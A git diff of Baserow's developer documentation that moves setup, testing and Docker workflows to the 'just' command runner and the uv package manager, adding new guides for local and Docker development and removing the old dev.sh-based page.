Initialize the backend (creates venv and installs dependencies): ```bash - pip install -r backend/requirements/dev.txt - pip install -r backend/requirements/base.txt + just b init ``` - 7. Now back in Intellij, press F4 or right-click on the top level baserow folder and + This creates a virtualenv at `.venv/` in the project root. + 2. Now back in Intellij, press F4 or right-click on the top level baserow folder and select `module settings`: 1. Make sure the `backend` module SDK is set to the python virtualenv you just - made. - 1. There will most likely be an existing `Python 3.8 (baserow)` virtualenv SDK + made (`.venv/bin/python`). + 1. There will most likely be an existing `Python 3.11 (baserow)` virtualenv SDK which is red. Delete this first. 1. Then you will most likely need to add it as a new SDK by navigating to 1. F4 → SDK 1. click + 1. Add New Python SDK 1. Existing Interpreter - 1. Find and select your virtualenvs `bin/python` executable - 1. call this new SDK `Python 3.8 (baserow)` so you don't make an accidental - the `backend.iml` file: + 1. Find and select your virtualenvs `bin/python` executable (`.venv/bin/python`) + 1. call this new SDK `Python 3.11 (baserow)` so you don't make an accidental + change to the `backend.iml` file: 1. Install and get a postgresql database running locally: - 1. [https://www.postgresql.org/docs/11/tutorial-install.html](https://www.postgresql.org/docs/11/tutorial-install.html) - 2. Change the default postgres port otherwise it will clash when running with - Baserow (the default IntelliJ config in the repo assumes your testing db is - running on 5430) - 1. [https://stackoverflow.com/questions/187438/change-pgsql-port](https://stackoverflow.com/questions/187438/change-pgsql-port) - 3. Create a baserow user called `baserow` with the password `baserow` and give them - permission to create databases - 1. [https://medium.com/coding-blocks/creating-user-database-and-adding-access-on-postgresql-8bfcd2f4a91e](https://medium.com/coding-blocks/creating-user-database-and-adding-access-on-postgresql-8bfcd2f4a91e) - - ```sql - CREATE USER baserow WITH ENCRYPTED PASSWORD 'baserow'; - ALTER USER baserow CREATEDB; - ``` - 4. You might also have to `pip install psycopg2-binary` or - `sudo apt install postgresql-devel` + 1. The easiest way is to use Docker: + ```bash + just dc-dev up -d db redis + ``` + 2. Or install PostgreSQL locally: + [https://www.postgresql.org/docs/11/tutorial-install.html](https://www.postgresql.org/docs/11/tutorial-install.html) + 3. If running PostgreSQL locally, create a baserow user: + ```sql + CREATE USER baserow WITH ENCRYPTED PASSWORD 'baserow'; + ALTER USER baserow CREATEDB; + ``` 1. Now you should be able to run the backend python tests, try run `backend/tests/baserow/core/test_core_models.py` for instance. 1. Now lets set up your frontend dev by changing directory to `baserow/web-frontend` -1. Now run `yarn install` (if you do not have yarn available check out and install a - node version manager like [nvm](https://github.com/nvm-sh/nvm) and follow the +1. Now run `just f install` (or `yarn install` directly). If you do not have yarn available + check out and install a node version manager like [nvm](https://github.com/nvm-sh/nvm) or + [fnm](https://github.com/Schniz/fnm) and follow the [Yarn installation instructions](https://yarnpkg.com/getting-started/install)). See `baserow/docs/installation/supported.md` to determine the supported version of Node.js to use. diff --git a/docs/development/justfile.md b/docs/development/justfile.md new file mode 100644 index 0000000000..4b87120f1a --- /dev/null +++ b/docs/development/justfile.md @@ -0,0 +1,126 @@ +# Justfile Command Reference + +Baserow uses [just](https://github.com/casey/just) as a command runner. Commands are organized in three justfiles: + +- **Root** (`/justfile`) - Docker Compose and orchestration commands +- **Backend** (`/backend/justfile`) - Python/Django commands using [uv](https://github.com/astral-sh/uv) +- **Frontend** (`/web-frontend/justfile`) - Node/Nuxt commands using yarn + +## Discovering Commands + +Use `just` built-in help to explore all available recipes: + +```bash +# List all commands (grouped by category) +just --list + +# Show getting started guide +just help + +# List backend commands +just b --list +# or +cd backend && just --list + +# List frontend commands +just f --list +``` + +Each recipe includes a description. Use `just --list` frequently to discover new commands. + +## Installation + +```bash +# macOS +brew install just uv + +# Linux +curl --proto '=https' --tlsv1.2 -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin +curl -LsSf https://astral.sh/uv/install.sh | sh +``` + +## Essential Commands + +### First Time Setup + +```bash +just init # Install backend + frontend dependencies, create .env.local +``` + +### Local Development + +```bash +just dev up # Start everything (db, redis, backend, celery, frontend) +just dev up -d # Start in background +just dev stop # Stop all services +just dev logs # View logs +just dev ps # Show the running processes + containers (db, redis) +``` + +### Docker Development + +```bash +just dc-dev up -d # Start dev containers +just dcd logs -f # Follow logs (dcd as alias of dc-dev) +just dcd exec backend bash # Shell into container +just dcd down # Stop containers +just dcd ps # SHow running containers +``` + +### Running Commands + +```bash +# Backend (from root) +just b test # Run backend tests +just b lint # Lint backend +just b shell # Django shell +just b migrate # Run migrations +just b manage # Any manage.py command + +# Frontend (from root) +just f test # Run frontend tests +just f lint # Lint frontend +``` + +### Code Quality + +```bash +just lint # Lint all (backend + frontend) +just fix # Auto-fix style issues +just test # Run all tests +``` + +### Testing with Ramdisk Database + +For faster tests, use an in-memory PostgreSQL: + +```bash +just test-db up # Start ramdisk db on port 5433 +DATABASE_URL=postgres://baserow:baserow@localhost:5433/baserow just b test -n=auto +just test-db down # Stop ramdisk db +just test-db ps # Check status +``` + +## Environment Files + +| File | Purpose | +|------|---------| +| `.env` | Production setup (created from `.env.example`) | +| `.env.local` | Local development (created by `just init`) | +| `.env.docker-dev` | Docker development (created by `just dc-dev`) | + +## Personal Recipes + +Create `local.just` for your own shortcuts (gitignored): + +```bash +cp local.just.example local.just +``` + +Your recipes will appear in `just --list` alongside standard recipes. + +## Further Reading + +- [Running with Docker](running-the-dev-env-with-docker.md) +- [Running Locally](running-the-dev-env-locally.md) +- [Running Tests](running-tests.md) \ No newline at end of file diff --git a/docs/development/metrics-and-logs.md b/docs/development/metrics-and-logs.md index f3fc5d227c..d0c04eaf98 100644 --- a/docs/development/metrics-and-logs.md +++ b/docs/development/metrics-and-logs.md @@ -25,7 +25,10 @@ HONEYCOMB_API_KEY=YOUR_KEY BASEROW_ENABLE_OTEL=true ``` -6. `./dev.sh restart` +6. Restart the dev environment: + ```bash + just dc-dev restart + ``` 7. Go to your honeycomb environment and you should start seeing new datasets being created! diff --git a/docs/development/running-tests.md b/docs/development/running-tests.md index d76df3ed68..157c6a48f6 100644 --- a/docs/development/running-tests.md +++ b/docs/development/running-tests.md @@ -2,68 +2,131 @@ ## Backend -To run backend tests, start and attach to the backend container as described in -[running-the-dev-environment.md](running-the-dev-environment.md). Once inside -the container, execute `make test` or `make test-parallel` to run the tests. +### Quick Start -The tests use the `config.settings.tests` configuration, which sets base -variables and ignores environment variables in the `.env` file. The `.env` file -is intended for production or development mode. +```bash +# From project root +just b test # Run all tests +just b test -n=auto # Run tests in parallel +just b test tests/path/ # Run specific tests -### Customize Test Settings +# With ramdisk database (2-5x faster) +just test-db start # Start PostgreSQL with tmpfs +DATABASE_URL=postgres://baserow:baserow@localhost:5433/baserow just b test -n=auto +``` -You can customize test settings by creating a `.env.testing` file in the -backend directory. For example: +### Test Settings -```env -# backend/.env.testing -BASEROW_MAX_FIELD_LIMIT=1 -``` +Test settings (`baserow/config/settings/test.py`) are designed for consistency and portability: + +- **DATABASE_\* and REDIS_\*** vars can be passed via environment variables +- **All other settings** are hardcoded in test.py to ensure consistent test behavior +- **Optional TEST_ENV_FILE** can load settings from a file + +This allows tests to run identically inside Docker and locally. + +### Docker vs Local Development + +All backend justfile commands (`just test`, `just lint`, etc.) work identically inside and outside Docker containers. The test settings are designed to be portable. -### Migrations and database setup +| Command | Host | Container | Notes | +|---------|:----:|:---------:|-------| +| `just b test` | ✓ | ✓ | Works in both environments | +| `just b lint` | ✓ | ✓ | Works in both environments | +| `just test-db start` | ✓ | ✗ | Host only (starts a Docker container) | +| `just test-db stop` | ✓ | ✗ | Host only | -By default, `BASEROW_TESTS_SETUP_DB_FIXTURE` is considered `on` in the -`config.settings.tests` configuration. This means that the database will be -set up without running the migrations, but only installing the database -formulas needed for the tests. This is done to speed up the test setup -process. +**Note:** The `just test-db start` command starts a separate PostgreSQL container with tmpfs storage. This can only be run from the host machine, not from inside a container. When running tests inside the backend container, use the existing `db` service instead. -If you want to run the migrations, you can run -`BASEROW_TESTS_SETUP_DB_FIXTURE=off pytest` to run them all. This is useful -when you want to test the migrations and you don't care about the speed of -the test setup. +#### Running Tests Locally -If you want to install the custom formula pgSQL functions only once and then -reuse the database between tests, you can run -`BASEROW_TESTS_SETUP_DB_FIXTURE=off pytest --no-migrations --reuse-db`. +Pass database connection via environment variable: -You can even omit `--no-migrations` to apply any new migrations coming from -the current branch to avoid recreating the database from scratch. +```bash +# Using DATABASE_URL +DATABASE_URL=postgres://baserow:baserow@localhost:5432/baserow just b test +# Or individual variables +DATABASE_HOST=localhost DATABASE_PORT=5432 just b test +``` + +#### Running Tests in Docker + +Inside the container, the default settings work out of the box: -### Running Tests Outside the Backend Container +```bash +just dcd up -d db backend +just dcd exec backend bash +j test +# Or directly +just dcd up -d db backend && just dcd exec backend "just test -n auto" +``` -To run tests outside the backend container, follow these steps: +#### Using an Environment File -1. Create a Python virtual environment. See [supported](../installation/supported.md) - to determine the supported version of Python. -2. From the backend directory, install the required packages with - `pip install requirements/base.txt` and `pip install requirements/dev.txt`. -3. Set environment variables to connect to the database. Create a - `.env.testing-local` file in the backend directory. At a minimum, set - `DATABASE_HOST` to `localhost` since the default value of `db` is only valid - inside the docker network. +For complex configurations, use a file: -```env -# backend/.env.testing-local +```bash +# Create .env.testing-local (gitignored) +cat > .env.testing-local << 'EOF' DATABASE_HOST=localhost +DATABASE_PORT=5432 +REDIS_HOST=localhost +# Any other env var customization here +EOF + +# Run tests with file +TEST_ENV_FILE=.env.testing-local just b test +``` + +### Ramdisk Database for Fast Tests + +Use a PostgreSQL container with tmpfs (in-memory storage) for 2-5x faster tests: + +```bash +# Start ramdisk database on port 5433 +just test-db up + +# Run tests against it +DATABASE_URL=postgres://baserow:baserow@localhost:5433/baserow just b test -n=auto + +# Stop when done +just test-db down + +# Check status +just test-db ps ``` -4. Export the `TEST_ENV_FILE` variable to specify the environment file: +**Configuration**: Set `TEST_DB_PORT` environment variable to use a different port (default: 5433). -```sh -export TEST_ENV_FILE='.env.testing-local' +The ramdisk database (`baserow-test-db` container using `pgvector/pgvector:pg13`) runs with optimized settings: +- **tmpfs storage**: All data in RAM (8GB allocated) +- **Large shared_buffers**: 512MB for better caching +- **Disabled fsync/WAL**: No durability overhead +- **Disabled autovacuum**: No background maintenance + +### Migrations and Database Setup + +By default, `BASEROW_TESTS_SETUP_DB_FIXTURE=on` skips migrations and only installs required pgSQL functions. This speeds up test setup significantly. + +```bash +# Run with full migrations (slower, useful for testing migrations) +BASEROW_TESTS_SETUP_DB_FIXTURE=off just b test + +# Reuse database between test runs (fastest for iterative development) +just b test --reuse-db + +# Apply new migrations to existing test database +BASEROW_TESTS_SETUP_DB_FIXTURE=off just b test --no-migrations --reuse-db ``` -5. Run `make test` or `make test-parallel` from your shell outside the - containers in the backend directory. +### Test Commands Reference + +| Command | Description | +|---------|-------------| +| `just b test` | Run all tests | +| `just b test -n=auto` | Run tests in parallel | +| `just b test tests/path/` | Run specific tests | +| `just b test-coverage` | Run tests with coverage report | +| `just b test-builder` | Run builder-specific tests | +| `just b test-automation` | Run automation-specific tests | diff --git a/docs/development/running-the-dev-env-locally.md b/docs/development/running-the-dev-env-locally.md new file mode 100644 index 0000000000..7d997c57d8 --- /dev/null +++ b/docs/development/running-the-dev-env-locally.md @@ -0,0 +1,433 @@ +# Running the Dev Environment Locally (Without Docker) + +This guide covers running Baserow's backend and frontend natively on your machine, using Docker only for infrastructure services (PostgreSQL, Redis). This approach offers faster iteration, easier debugging, and better IDE integration compared to full Docker development. + +## Prerequisites + +### Required Tools + +1. **Docker** - For running PostgreSQL, Redis, and other services + - Install from https://docs.docker.com/desktop/ + +2. **just** - Command runner + ```bash + # macOS + brew install just + + # Linux + curl --proto '=https' --tlsv1.2 -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin + ``` + +3. **Python 3.11** - For the backend + ```bash + # macOS + brew install python@3.11 + + # Linux (Ubuntu/Debian) + sudo apt install python3.11 python3.11-dev + ``` +4. **uv** - Fast Python package manager + ```bash + # macOS + brew install uv + + # Linux + curl -LsSf https://astral.sh/uv/install.sh | sh + ``` + +5. **Node.js 24** - For the frontend + ```bash + # Using nvm (recommended) + curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash + nvm install 24 + nvm use 24 + + # macOS with Homebrew + brew install node@24 + ``` +6. **Yarn** - Frontend package manager + ```bash + npm install -g yarn + ``` +7. **Git** - Install from https://git-scm.com/downloads + +See [supported.md](../installation/supported.md) for minimum version requirements. + +### Verify Installation + +```bash +docker -v +just --version +python3 --version +uv --version +node -v +yarn -v +git --version +``` + +## Quick Start + +```bash +# Clone the repository +git clone --branch develop https://github.com/baserow/baserow.git +cd baserow + +# Initialize backend and frontend (creates venv, installs deps, creates .env.local) +just init + +# Start everything (Ctrl+C to stop) +just dev up +``` + +Once started, access: +- **Frontend**: http://localhost:3000 +- **Backend API**: http://localhost:8000 +- **Mailhog** (email testing): http://localhost:8025 + +To run in background: + +```bash +just dev up -d # Start in background +just dev logs # View logs +just dev ps # Check what's running +just dev stop # Stop all services +just dev tmux # Alternative: start tmux session with all services (you need to install tmux first) +``` + +## How It Works + +The `just dev up` command orchestrates: + +1. **Docker services**: PostgreSQL, Redis, Mailhog, OpenTelemetry collector +2. **Database migrations**: Applied automatically +3. **Backend server**: Django development server on port 8000 +4. **Celery workers**: Background task processing (main, export, beat scheduler) +5. **Frontend server**: Nuxt development server on port 3000 + +``` +just dev up +├── Docker: db, redis, mailhog, otel-collector +├── Backend: Django dev server (port 8000) +├── Celery: main worker + export worker + beat scheduler +└── Frontend: Nuxt dev server (port 3000) +``` + +All processes log to `/tmp/`: +- `/tmp/baserow-backend.log` +- `/tmp/baserow-celery.log` +- `/tmp/baserow-web-frontend.log` + +## Environment Configuration + +### The .env.local File + +The `just init` command creates `.env.local` in the project root with sensible defaults, taken from `.env.local.example`: + +```bash +# Key settings in .env.local +DATABASE_HOST=localhost +DATABASE_PORT=5432 +REDIS_HOST=localhost +REDIS_PORT=6379 +SECRET_KEY= +DJANGO_SETTINGS_MODULE=baserow.config.settings.dev +SYNC_TEMPLATES_ON_STARTUP=false +``` + +All backend commands automatically load this file. + +### Customizing Settings + +Look at [Configuration](../installation/configuration.md) to customize your environment. + +## Common Commands + +Shortcuts: `b` = `backend`, `f` = `frontend` + +### Backend Commands + +All backend commands can be run from the project root with `just backend` (or `just b`) or from `backend/`: + +```bash +# From project root (just b is shorthand for just backend) +just b test # Run tests +just b lint # Run linters +just b fix # Auto-fix code style +just b shell_plus # Django shell_plus with SQL logging +just b m makemigrations # Create migrations +just b m migrate # Apply migrations + +# From backend/ +cd backend +just test +just lint +just shell_plus +``` + +### Frontend Commands + +```bash +# From project root (just f is shorthand for just frontend) +just f lint # Run ESLint + Stylelint +just f test # Run Jest tests +just f fix # Auto-fix code style + +# From web-frontend/ +cd web-frontend +just lint +just test +``` + +### Viewing Logs + +Works like `docker compose logs` - services and options can be in any order: + +```bash +just dev logs # All services (backend, celery, frontend) +just dev logs -f # Follow all logs in real-time +just dev logs backend # Backend only +just dev logs backend celery # Backend and celery +just dev logs -f backend # Follow backend only +just dev logs backend -n 100 # Last 100 lines of backend +just dev logs -n 50 backend celery # Last 50 lines of backend and celery +``` + +### Managing Docker Services + +```bash +# Start only database and redis +just dc-dev up -d db redis + +# Stop Docker services +just dc-dev stop db redis + +# View Docker service logs +just dc-dev logs db +``` + +## Manual Setup (Alternative) + +If you prefer more control over each component: + +### 1. Start Infrastructure Services + +```bash +just dc-dev up -d db redis mailhog +``` + +### 2. Initialize Backend + +```bash +cd backend +just init # Creates venv, installs deps +just migrate # Apply migrations +``` + +### 3. Run Backend Server + +```bash +cd backend +just run-dev-server +``` + +### 4. Run Celery Workers (separate terminal) + +```bash +cd backend +just run-dev-celery +``` + +### 5. Initialize and Run Frontend (separate terminal) + +```bash +cd web-frontend +just install # Install node_modules +just run-dev-server # Start Nuxt dev server +``` + +## Running Tests + +### Backend Tests + +```bash +# Run all tests +just b test + +# Run tests in parallel (faster) +just b test -n=auto + +# Run specific test file +just b test tests/baserow/core/test_core_models.py + +# Run with coverage +just b test-coverage +``` + +### Fast Tests with Ramdisk Database + +For 2-5x faster tests, use a PostgreSQL container with tmpfs: + +```bash +# Start ramdisk database (port 5433) +just test-db start + +# Run tests against it +DATABASE_URL=postgres://baserow:baserow@localhost:5433/baserow just b test -n=auto + +# Stop when done +just test-db stop +``` + +### Frontend Tests + +```bash +just f test # Run Jest tests +just f test --watch # Watch mode +``` + +## Database Operations + +### Running Migrations + +```bash +just b migrate +# or +just b m migrate +``` + +### Creating Migrations + +```bash +just b m makemigrations +just b m makemigrations core # Specific app +``` + +### Creating a Superuser + +```bash +just b m createsuperuser +``` + +### Syncing Templates + +Templates (example databases, forms, etc.) are not synced by default for faster startup: + +```bash +just b m sync_templates +``` + +### Accessing the Database + +```bash +# Django database shell +just b m dbshell + +# Direct PostgreSQL (via Docker) +just dc-dev exec db psql -U baserow +``` + +### Resetting the Database + +```bash +# Stop Docker, remove volumes, restart +just dc-dev down -v +just dc-dev up -d db redis +just b migrate +``` + +## Debugging + +### Backend Debugging + +The Django dev server supports standard Python debugging: + +```python +# Add breakpoint in your code +breakpoint() # or: import pdb; pdb.set_trace() +``` + +For VS Code, add to `.vscode/launch.json`: + +```json +{ + "name": "Django Backend", + "type": "python", + "request": "launch", + "program": "${workspaceFolder}/backend/src/baserow/manage.py", + "args": ["runserver", "0.0.0.0:8000"], + "django": true, + "env": { + "DJANGO_SETTINGS_MODULE": "baserow.config.settings.dev" + }, + "envFile": "${workspaceFolder}/.env.local" +} +``` + +### Celery Debugging + +```bash +# Run with debug logging +CELERY_LOG_LEVEL=DEBUG just b run-dev-celery +``` + +## Troubleshooting + +### "Module not found" Errors + +```bash +just b uv sync +just f yarn +``` + +### Database Connection Errors + +```bash +# Ensure Docker services are running +just dc-dev ps + +# Check if PostgreSQL is ready +just dc-dev exec db pg_isready -U baserow + +# Verify .env.local settings +grep DATABASE .env.local +``` + +### Port Already in Use + +```bash +# Find what's using the port +lsof -i :8000 +lsof -i :3000 + +# Kill the process or change the port +kill -9 $(lsof -i :8000 | awk 'NR==2 {print $2}') +kill -9 $(lsof -i :3000 | awk 'NR==2 {print $2}') +``` + +### Celery Crashes on macOS + +The justfile defaults to `solo` pool on macOS to avoid fork() issues: + +```bash +# Force a different pool if needed +CELERY_POOL=threads just b run-dev-celery +``` + +### Frontend Build Errors + +```bash +# Clear node_modules and reinstall +rm -rf web-frontend/node_modules +just f install + +# Clear Nuxt cache +rm -rf web-frontend/.nuxt +``` + +## Further Reading + +- [justfile.md](justfile.md) - Complete command reference +- [running-tests.md](running-tests.md) - Detailed testing guide +- [running-the-dev-env-with-docker.md](running-the-dev-env-with-docker.md) - Alternative: Docker development +- [vscode-setup.md](vscode-setup.md) - VS Code configuration +- [intellij-setup.md](intellij-setup.md) - IntelliJ/PyCharm configuration diff --git a/docs/development/running-the-dev-env-with-docker.md b/docs/development/running-the-dev-env-with-docker.md new file mode 100644 index 0000000000..ee794ea8f5 --- /dev/null +++ b/docs/development/running-the-dev-env-with-docker.md @@ -0,0 +1,320 @@ +# Running the Dev Environment with Docker + +This guide covers running the Baserow development environment using Docker. This is the recommended approach for most developers as it requires minimal local setup and ensures a consistent environment. + +## Prerequisites + +### Required Tools + +1. **Docker** - Install from https://docs.docker.com/desktop/ or similar alternatives. Allocate at least 4GB RAM (8GB recommended). +2. **Git** - Install from https://git-scm.com/downloads +3. **just** - Command runner + ```bash + # macOS + brew install just + + # Linux + curl --proto '=https' --tlsv1.2 -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin + ``` + +See [supported.md](../installation/supported.md) for minimum version requirements. + +### Verify Installation + +```bash +docker -v +docker compose version +git --version +just --version +``` + +## Quick Start + +```bash +# Clone the repository +git clone --branch develop https://github.com/baserow/baserow.git +cd baserow + +# Build and start the dev environment +just dc-dev up -d + +# View logs (Ctrl+C to stop following) +just dc-dev logs -f +``` + +Once started, access: +- **Frontend**: http://localhost:3000 +- **Backend API**: http://localhost:8000 +- **API Docs**: http://localhost:8000/api/redoc/ + +## How It Works + +The Docker dev environment runs these services: + +| Service | Description | Port | +|---------|-------------|------| +| `web-frontend` | Nuxt.js frontend with hot reload | 3000 | +| `backend` | Django API server with hot reload | 8000 | +| `celery` | Background task worker | - | +| `celery-export-worker` | Export-specific worker | - | +| `celery-beat-worker` | Scheduled task runner | - | +| `db` | PostgreSQL database | 5432 | +| `redis` | Redis cache and message broker | 6379 | +| `caddy` | Reverse proxy for media files | 4000 | +| `mailhog` | Email testing UI | 8025 | +| `mjml-email-compiler` | MJML to HTML email compiler | 28101 | +| `otel-collector` | OpenTelemetry metrics | 4317 | +| `volume-permissions-fixer` | Fixes media file permissions on startup | - | +| `web-frontend-storybook` | Component development UI | 6006 | +| `celery-flower` | Celery task monitoring | 5555 | + +### Docker Compose Files + +- `docker-compose.yml` - Base configuration (production-like) +- `docker-compose.dev.yml` - Development overrides (hot reload, volume mounts, dev settings) + +The `just dc-dev` command combines both files automatically. + +## Common Commands + +Shortcuts: `dcd` = `dc-dev`, `a` = `dc-attach`, `dct` = `dc-dev tabs` + +### Starting and Stopping + +```bash +# Start all services (detached) +just dc-dev up -d # or: just dcd up -d + +# Stop all services (preserves data) +just dc-dev stop + +# Stop and remove containers (preserves volumes) +just dc-dev down + +# Stop and remove everything including volumes (clean slate) +just dc-dev down -v +``` + +### Viewing Logs + +```bash +# All logs +just dc-dev logs + +# Follow logs in real-time +just dc-dev logs -f + +# Specific services +just dc-dev logs backend +just dc-dev logs web-frontend +just dc-dev logs celery + +# Last 100 lines of backend +just dc-dev logs -n 100 backend +``` + +### Running Commands in Containers + +```bash +# Open a shell in a container +just a # Interactive container picker +just a backend # Direct shell into backend +just a celery # Interactive container picker, filtered +just dc-dev exec backend bash # Alternative + +# Run Django management commands +just dc-dev exec backend python manage.py migrate +just dc-dev exec backend python manage.py createsuperuser +just dc-dev exec backend python manage.py shell_plus + +# Run tests inside the container +just dc-dev exec backend just test +just dc-dev exec web-frontend yarn test +``` + +### Terminal Tabs and Tmux + +```bash +# Open terminal tabs for each service (like the old dev.sh) +just dc-dev tabs # or: just dct + +# Start a tmux session with all services +just dc-dev tmux +``` + +### Building Images + +```bash +# Build all images +just dc-dev build --parallel + +# Build specific service +just dc-dev build backend + +# Build without cache (when things go wrong) +just dc-dev build --no-cache --parallel + +# Clear Docker builder cache completely +# WARNING: This clears ALL Docker builder cache, not just Baserow! +just prune +``` + +### Restarting Services + +```bash +# Restart a specific service +just dc-dev restart backend + +# Rebuild and restart (after Dockerfile changes) +just dc-dev up -d --build backend + +# Force recreate containers +just dc-dev up -d --force-recreate +``` + +## Optional Services + +By default, all services including optional ones are started: + +| Service | Description | Port | +|---------|-------------|------| +| `web-frontend-storybook` | Component development UI | 6006 | +| `celery-flower` | Celery task monitoring | 5555 | + +This is controlled by the `COMPOSE_PROFILES` variable in `.env.docker-dev`: + +```bash +# Default: start all services including optional ones +COMPOSE_PROFILES=optional + +# To disable optional services (save resources), set to empty: +COMPOSE_PROFILES= +``` + +After changing this setting, restart the services: + +```bash +just dc-dev down +just dc-dev up -d +``` + +## Hot Reloading + +Both frontend and backend support hot reloading: + +- **Frontend**: Changes to `.vue`, `.js`, `.scss` files trigger automatic browser refresh +- **Backend**: Changes to `.py` files trigger automatic server restart + +You don't need to restart containers when editing code. + +### When to Rebuild + +You need to rebuild images when: +- `Dockerfile` changes +- `package.json` or `yarn.lock` changes (frontend) +- `pyproject.toml` or `uv.lock` changes (backend) + +```bash +just dc-dev build --parallel +just dc-dev up -d +``` + +## Database Operations + +### Running Migrations + +```bash +just dc-dev exec backend python manage.py migrate +``` + +### Creating a Superuser + +```bash +just dc-dev exec backend python manage.py createsuperuser +``` + +### Accessing the Database + +```bash +# PostgreSQL shell +just dc-dev exec db psql -U baserow + +# From backend container +just dc-dev exec backend python manage.py dbshell +``` + +### Resetting the Database + +```bash +# Stop services, remove volumes, restart +just dc-dev down -v +just dc-dev up -d +``` + +## Environment Configuration + +### Environment Files + +The `just dc-dev` command uses `.env.docker-dev` to define the environment variables used by the `dev` containers. +This file is automatically created from `.env.docker-dev.example` if it doesn't exist. + +### Customizing Settings + +Look at [Configuration](../installation/configuration.md) to customize your `.env.docker-dev`. + +### UID/GID for File Permissions + +The dev containers run as your host user to avoid permission issues with mounted files: + +```bash +# These are set automatically by just dc-dev +UID=$(id -u) +GID=$(id -g) +``` + +## Troubleshooting + +### Container Won't Start + +```bash +# Check container status +just dc-dev ps + +# View logs for failing service +just dc-dev logs backend + +# Rebuild from scratch +just dc-dev down -v +just prune +just dc-dev build --no-cache --parallel +just dc-dev up -d +``` + +### Slow Performance on macOS + +Docker on macOS can be slow with volume mounts. Try: + +1. Increase Docker Desktop resources (CPU, RAM) +2. Use Docker's VirtioFS file sharing (Docker Desktop settings) +3. Consider [local development](running-the-dev-env-locally.md) for faster iteration + +### Database Connection Errors + +```bash +# Ensure db is running and healthy +just dc-dev ps db + +# Wait for database to be ready +just dc-dev exec db pg_isready -U baserow + +# Check database logs +just dc-dev logs db +``` + +## Further Reading + +- [justfile.md](justfile.md) - Complete command reference +- [running-tests.md](running-tests.md) - Running tests in Docker +- [running-the-dev-env-locally.md](running-the-dev-env-locally.md) - Alternative: local development +- [vscode-setup.md](vscode-setup.md) - VS Code configuration +- [intellij-setup.md](intellij-setup.md) - IntelliJ/PyCharm configuration \ No newline at end of file diff --git a/docs/development/running-the-dev-environment.md b/docs/development/running-the-dev-environment.md deleted file mode 100644 index ebf10f8a84..0000000000 --- a/docs/development/running-the-dev-environment.md +++ /dev/null @@ -1,154 +0,0 @@ -# Running the dev environment - -If you want to contribute to Baserow you need to setup the development environment on -your local computer. The best way to do this is via `docker-compose` so that you can -start the app with the least amount of hassle. - -### Quickstart - -If you are familiar with git and docker-compose run these commands to launch Baserow's -dev environment locally, otherwise please start from the Installing Requirements section -below. - -```bash -$ git clone --branch develop git@github.com:baserow/baserow.git -# Our supplied ./dev.sh script wraps docker-compose setting the correct env vars for -# you to get hot code reloading working well. -$ ./dev.sh -# Run ./dev.sh help for further details. -$ ./dev.sh help -``` - -## Installing requirements - -If you haven't already installed docker and docker-compose on your computer you can do -so by following the instructions on https://docs.docker.com/desktop/ and -https://docs.docker.com/compose/install/. - -> Docker version 19.03 is the minimum required to build Baserow. It is strongly -> advised however that you install the latest version of Docker available. -> Please check that your docker is up to date by running `docker -v`. - -You will also need git installed which you can do by following the instructions on -https://www.linode.com/docs/development/version-control/how-to-install-git-on-linux-mac-and-windows/ -. - -Once you have finished installing all the required software you should be able to run -the following commands in your terminal. - -```bash -$ docker -v -Docker version 20.10.6, build 370c289 -$ docker-compose -v -docker-compose version 1.26.2, build eefe0d31 -$ git --version -git version 2.24.3 (Apple Git-128) -``` - -If all commands return something similar as described in the example, then you are ready -to proceed! - -## Starting the dev environment - -> If you run into any issues starting your development environment feel free to contact -> us via the form on https://baserow.io/contact. - -For example purposes I have created a directory in my home folder named `baserow`. You -can of course follow the steps in any directory, but in this tutorial I will assume the -working directory is `~/baserow`. - -First we have to clone the repository. Execute the following commands to clone the -master branch. If you are not familiar with git clone, this will download a copy of -Baserow's code to your computer. - -``` -$ cd ~/baserow -$ git clone --branch master https://github.com/baserow/baserow.git -Cloning into 'baserow'... -... -$ cd baserow -``` - -Now that we have our copy of the repo and have changed directories to the newly -created `baserow`, we can bring up the containers. You just have to execute the -docker-compose command using the `docker-compose.yml` file. It might take a while for -the command to finish, this is because the images have to be built from scratch. - -``` -$ ./dev.sh -Building backend -... -Starting db ... done -Starting redis ... done -Starting backend ... done -Starting web-frontend ... done -``` - -Your dev environment is now running, the database has been automatically migrated for -you and the baserow templates have been synced. You can now visit http://localhost:3000 -to sign up and login to your Baserow. - -## Looking at the web api - -Baserow's backend container exposes a rest API. Find the API spec for your local version -of Baserow at http://localhost:8000/api/redoc/ . To check that it is working correctly -when you visit http://localhost:8000/api/workspaces/ in a browser you should see the error -"Authentication credentials were not provided." as no JWT was provided. - -## Attaching to the dev environment - -The dev environment consists of a number of docker containers, see: - -If you use `./dev.sh` by default it will attempt to open tabs in your terminal and -attach to the running baserow containers. Otherwise you can do so manually by running -the following commands: - -```bash -$ # Run the commands below to connect to the various different parts of Baserow -$ docker attach backend -$ docker attach celery -$ docker attach web-frontend -``` - -When attached you can press CTRL-C to end the current containers main process. However -unlike normal docker containers this one will not exit immediately but instead present -you with a bash terminal. In this terminal you can then run any admin commands you wish -or inspect the state of the containers. Simply press up and go through the containers -bash history to get the original command to restart the containers main process. - -## Other useful commands - -Below is a quick example of some of the more common useful operations and commands: - -```bash -$ # View the logs -$ docker-compose logs -$ # Migrate -$ ./dev.sh run backend manage migrate -$ # Restart and Build -$ ./dev.sh restart --build -``` - -## Keep the servers running - -Both the web-frontend and backend containers need to keep running while you are -developing. They also monitor file changes and update automatically, so you don't need -to worry about reloading. Go and make some changes yourself. You should see the result -right away. - -## Working with Docker and Django - -For further reading on how to work with docker containers and django check out: - -- [django's getting started tutorial](https://docs.djangoproject.com/en/3.1/intro/tutorial01/) -- [docker's getting started tutorial](https://docs.docker.com/get-started/) -- [docker's cli reference](https://docs.docker.com/engine/reference/run/) -- [docker composes reference](https://docs.docker.com/compose/) - -## Baserow further reading - -- See [introduction](../technical/introduction.md) for more details on Baserow's - architecture. -- See [baserow docker api](../installation/install-with-docker.md) for more detail on how - Baserow's docker setup can be used and configured. -- See [dev.sh](dev_sh.md) for further detail on what dev.sh does and why diff --git a/docs/development/tools.md b/docs/development/tools.md index abdb2969c1..a99ae97e6c 100644 --- a/docs/development/tools.md +++ b/docs/development/tools.md @@ -29,11 +29,12 @@ https://www.django-rest-framework.org/ We use pytest to easily and automatically test all the python code. Most of the backend code is covered with tests and we like to keep it 